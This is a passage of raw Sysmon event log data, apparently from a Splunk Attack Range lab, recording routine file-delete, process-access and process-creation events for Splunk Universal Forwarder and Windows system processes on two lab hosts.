AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000016560Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:32.808{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=A1B2096C6574A4B915DB00CB0EB563DA,SHA256=3105562EA67878777F48BF30F3931BE19FF51E6E8833B77514972BD6734F4F48,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016559Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:32.808{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=7B074BB93F60C036C0048C24007FEC18,SHA256=1D2CE3A77E9D2D220F47142E704E40B8DF8BA4F2FC070B59E365E8BDD15BFF61,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016558Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:32.808{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7F1B5EF4472C98046922C69200C93CF3,SHA256=08161562204AFAFE3AC82D3F2FFA091BE62B15D25DE9CA1FD43C7E3C0C33C292,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000051845Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:32.200{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EBE230C68D037A94259345AC0204E533,SHA256=40E61CB7053F177197866ECBE38CEEA678E78885BE46CE5DE1572B9D3304C879,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000016557Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:32.371{625C326B-72D4-613B-FF04-00000000F101}596592C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016556Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:32.183{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-72D4-613B-FF04-00000000F101}596C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016555Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:32.183{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016554Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:32.183{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016553Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:32.183{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016552Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:32.183{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016551Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:32.183{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016550Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:32.183{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016549Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:32.183{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016548Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:32.183{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016547Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:32.183{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016546Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:32.183{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-72D4-613B-FF04-00000000F101}596C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000016545Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:32.183{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-72D4-613B-FF04-00000000F101}596C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000016544Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:32.184{625C326B-72D4-613B-FF04-00000000F101}596C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000051844Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:32.064{7BD73061-65B2-613B-1100-00000000F001}432NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive0.datMD5=665C571A1E44A90B10C1593A6D65E9DB,SHA256=8446107D18CB4B02302C1EEE63E679A0E5F5A1BF2CF02847D55CF452B712FF83,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000016589Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:33.949{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-72D5-613B-0105-00000000F101}728C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016588Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:33.949{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016587Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:33.949{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016586Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:33.949{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016585Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:33.949{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016584Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:33.949{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016583Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:33.949{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016582Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:33.949{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016581Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:33.949{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016580Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 